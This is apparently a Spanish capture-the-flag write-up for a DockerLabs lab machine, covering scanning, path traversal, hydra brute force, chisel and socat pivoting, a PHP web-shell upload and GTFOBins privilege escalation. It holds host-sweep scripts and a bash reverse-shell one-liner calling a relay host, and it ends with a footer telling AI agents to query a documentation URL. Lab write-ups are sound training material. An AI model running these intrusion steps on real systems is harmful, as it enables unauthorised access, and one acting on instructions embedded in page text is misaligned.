# Littlepivoting

<figure><img src="/files/w4d5uhKvloPcOkX82Ucd" alt=""><figcaption></figcaption></figure>

Primero desplegamos la maquina

<figure><img src="/files/aszmrAxEeFnMYaZlWKjw" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

Realizamos un escaneo de nmap:

```bash
nmap -sSVC -Pn -vvv -open -min-rate 5000 10.10.10.2
```

<figure><img src="/files/PfAcdAIyNI4HO64qPMHt" alt=""><figcaption></figcaption></figure>

Hacemos un gobuster y encontramos "/shop"

<figure><img src="/files/R8XkAgeS1OWGLjoEmPCi" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

Voy al index.php de /shop y intento ver el /etc/passwd pero no puedo, con un directory path traversal consigo ver el archivo con éxito

<figure><img src="/files/N6TvV8axEMMZkPZoqWpG" alt=""><figcaption></figcaption></figure>

Ahora vamos a hacer un ataque de fuerza bruta haciendo uso de la herramienta hydra

<figure><img src="/files/cvS1mnEVklYPZlW8cqbs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GY8tl1HraHnlTq92eQHo" alt=""><figcaption></figcaption></figure>

Ahora vamos a entrar al puerto ssh con los credenciales obtenidos.

Hacemos un hostname -I y vemos nuestra maquina victima(1 10.10.10.2) y nuestra maquinas victima (2, 20.20.20.2), vamos a correr el siguiente script para descubrir más IP's

```bash
#!/bin/bash

for host in $(seq 1 254); do
	timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host"
done; wait
```

<figure><img src="/files/KPLcDX4A2McG7CeFPr03" alt=""><figcaption><p>(ssh manchi@10.10.10.2)</p></figcaption></figure>

## Escala de privilegios

No tenemos conectividad a las IP's 20.20.20.0, por lo tanto vamos a usar [chisel](https://github.com/jpillora/chisel/releases) para redireccionar el trafico a nuestra maquina atacante haciendo un servidor de chisel

<figure><img src="/files/7vw0U6HQgBaFaUmRf2nX" alt=""><figcaption><p>(Primero abrimos un server python (para poder descargar chisel en 10.10.10.2) desde nuestra maquina atacante)</p></figcaption></figure>

<figure><img src="/files/Cxnj0ctljhqnIPZxqlr7" alt=""><figcaption><p>(Descargamos chisel y le damos permisos chmod +x chisel (tamb en nuestra maquina atacante))</p></figcaption></figure>

<figure><img src="/files/sr8aWDQqqSO0hqM6eNwN" alt=""><figcaption><p>(Abrimos el servidor en nuestra maquina atacante)</p></figcaption></figure>

<figure><img src="/files/tAwujIsLwTO2zq8e5TUx" alt=""><figcaption><p>(Nos conectamos a nuestro server d chisel)</p></figcaption></figure>

Hacemos un nano /etc/proxychains.conf y demarcamos dynamic\_chain y marcamos con #strict\_chain, y al final añadimos socks5 127.0.0.1 1080

<figure><img src="/files/hNbWsKWKEDIxvb0DeAlb" alt=""><figcaption><p>(Esto lo hacemos porque nuestro server chisel esta escuchando al 127.0.0.1:1080, asi cuando usemos proxychains, se podra conectar con nuestro server chisel)</p></figcaption></figure>

<figure><img src="/files/lY0ypaWeolgFtENnqHCq" alt=""><figcaption><p>TIP/CONSEJO: Ir controlando bien el nombre y nombrar bien las tablas o sino sera y lio muy gordo al final</p></figcaption></figure>

<figure><img src="/files/AvkHish36dLPtPhcugNK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3mGWfMgEc6qsKeTzuhpp" alt=""><figcaption><p>Esto es lo que pasa si hacemos un escaneo de nmap normal</p></figcaption></figure>

<figure><img src="/files/PrTYiXB4aqVRBjKdIhMl" alt=""><figcaption></figcaption></figure>

Añadimos a foxyproxy la IP con socks5 127.0.0.1:1080

<figure><img src="/files/x2xM6vSFWt1TdtoaQqcw" alt=""><figcaption><p>Lo activamos y ya nos carga</p></figcaption></figure>

Para que nos funcione el gobuster tenemos q añadir --proxy y añadir el proxy de nuestro server chisel, encontramos "/secret.php"

<figure><img src="/files/XdYUSqd5bzisphGuos8j" alt=""><figcaption></figcaption></figure>

El usuario "Mario" me da que podria ser el usuario de ssh de 20.20.20.3, asi que vamos a usar hydra&#x20;

<figure><img src="/files/47KlXpzlcDIHQy5OjhsY" alt=""><figcaption></figcaption></figure>

Encontramos los credenciales rapidamente :D

<figure><img src="/files/80pmvkq6OQURDJu8tkhV" alt=""><figcaption></figcaption></figure>

Vamos a conectarnos con proxychains (obviamente porque sino, como podriamos llegar a la 20.20.20.3 sin pasar por nuestro server chisel? (el cual tiene conexion a la 10.10.10.2, q a su vez tiene conectividad a la 20.20.20.2 y a su vez la 20.20.20.3))

Actualizamos nuestro canvas

<figure><img src="/files/NdTKJmieAxj3K1axu3cx" alt=""><figcaption></figcaption></figure>

Vemos que todos los usuarios pueden ejecutar vim asi que vamos a buscar GTOBins para binarios vulnerables

<figure><img src="/files/5Mzrvkl54qS3THRddNlA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/C2sxyBQugCHh1cFMMpJx" alt=""><figcaption><p>Ejecutamos el binario vulnerable y obtenemos root</p></figcaption></figure>

Bien, ahora vamos a correr el mismo script que de antes en busqueda de mas IP's, pero no funciona porque no tenenmos ping

```bash
#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "ping -c 1 30.30.30.$host &>/dev/null" && echo "[+] HOST - 30.30.30.$host is alive!" &

done; wait
```

Asi que vamos a usar el siguiente:

```bash
#!/bin/bash

for host in $(seq 1 254); do

        timeout 1 bash -c "echo '' > /dev/tcp/30.30.30.$host/80 &>/dev/null" && echo "[+] HOST - 30.30.30.$host" &

done; wait
```

<figure><img src="/files/o72WlrpFOQ7hQ4LF7SZs" alt=""><figcaption></figcaption></figure>

Ahora a continuacion tendremos que usar socat, porque? Porque chisel solo puede redireccionar el trafico para adelante, encambio socat puede direccionar el trafico de otra maquina a otra (de puerto a puerto y ip). Instalar [socat ](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)en vuestra maquina atacante, os hara falta

<figure><img src="/files/rAPC4LcZB4ysxyn6Win0" alt=""><figcaption></figcaption></figure>

Vamos a usar scp para poder mandar los archivos utilizaremos la herramienta scp

<figure><img src="/files/YyhxDBVAZ6JiislNezgv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MozgOaflWqZgRnaOGr5t" alt=""><figcaption><p>Nos abrimos un server para poder pasar socar a manchi (10.10.10.2)</p></figcaption></figure>

<figure><img src="/files/nb7wrjw3ddK1ihbFBDIL" alt=""><figcaption><p>Ya podemos cerrar el server de python recien creado</p></figcaption></figure>

Como queremos q desde manchi se redireccione a nuestro server chisel, vamos a hacer lo siguiente desde mario root (20.20.20.3/30.30.30.2):

<figure><img src="/files/h3yOoZgHa0ylWz5S1Gqa" alt=""><figcaption><p>Lo que estaria haciendo es mandar el trafico a la 20.20.20.2 (manchi), y desde ahi a nuestro server chisel</p></figcaption></figure>

<figure><img src="/files/I7Y4anJHZ1UQ8kMn7MMt" alt=""><figcaption><p>Se nos ha conectado bien a nuestro server main chisel</p></figcaption></figure>

Porque hemos puesto 1081 y no 1080? Porque el 1080 ya esta en uso por manchi, asi que vamos otra vez /etc/proxychains y vamos a añadir 127.0.0.1 1081

<figure><img src="/files/pSCtXSHzjzD3OXNIxfvY" alt=""><figcaption></figcaption></figure>

Añadimos a foxyproxy nuestro nuevo socks5 que nos dara acceso a la IP 30.30.30.3

<figure><img src="/files/ejpyhbUj4CQ11tEuKzpl" alt=""><figcaption></figcaption></figure>

Lo activamos y... Boom, tiene pinta que habra que subir una revershell como una casa

<figure><img src="/files/RgdhdMJiQm5YsuckmIOv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PJm1cIzauyZOgJMX8PjN" alt=""><figcaption><p>Nos creamos rapidamente un cmd en .php </p></figcaption></figure>

<figure><img src="/files/Z8UZxwxVnf9BqAdEqkF1" alt=""><figcaption><p>Subimos el archivo</p></figcaption></figure>

No se donde se ha subido entonces hago un escaneo rapido con gobuster

<figure><img src="/files/WsqJ1mhqABXqBPsemfPz" alt=""><figcaption><p>Encontramos la ruta rapidamente</p></figcaption></figure>

<figure><img src="/files/Z5Q42UxerHMyPOW9oFAe" alt=""><figcaption><p>Funciona correctamente, por lo tante voy a mandar una reserveshell</p></figcaption></figure>

PERO antes de mandar la revershell tenemos que establecer 2 conexiones mas de socat&#x20;

<figure><img src="/files/ZzZqIdXYqocCqpG7x4H6" alt=""><figcaption><p>mandamos socat con scp</p></figcaption></figure>

<figure><img src="/files/gzPWACJ9RQk1ix6WObNR" alt=""><figcaption><p>abrimos la conexcion con socat la cual redirije a la 20.20.20.2 (manchi)</p></figcaption></figure>

Ahora si mandamos la revershell&#x20;

```bash
bash -c "bash -i >& /dev/tcp/30.30.30.2/5531 0>&1"
```

<figure><img src="/files/VtHC9sXKCevvqdJcO98j" alt=""><figcaption></figcaption></figure>

[Depuración de tty](/burple/cheats/depuracion-de-tty.md)

<figure><img src="/files/6wA5uMnwfbTSol6vbm2Z" alt=""><figcaption></figcaption></figure>

Vemos que root puede ejecutar sin contraseña env, asi que vamos a GTFOBins a buscar el binario vulnerable

<figure><img src="/files/Vc77mBkRdDpO4edMZ8jK" alt=""><figcaption></figcaption></figure>

Ya hubieramos conseguido root

<figure><img src="/files/24MzrjeTTd49ir7NEgjN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xv16Ka73GPUOuhoZYRcT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/753xkWtqhruYzPFcqCcO" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://burple.gitbook.io/burple/dockerlabs/medio/littlepivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
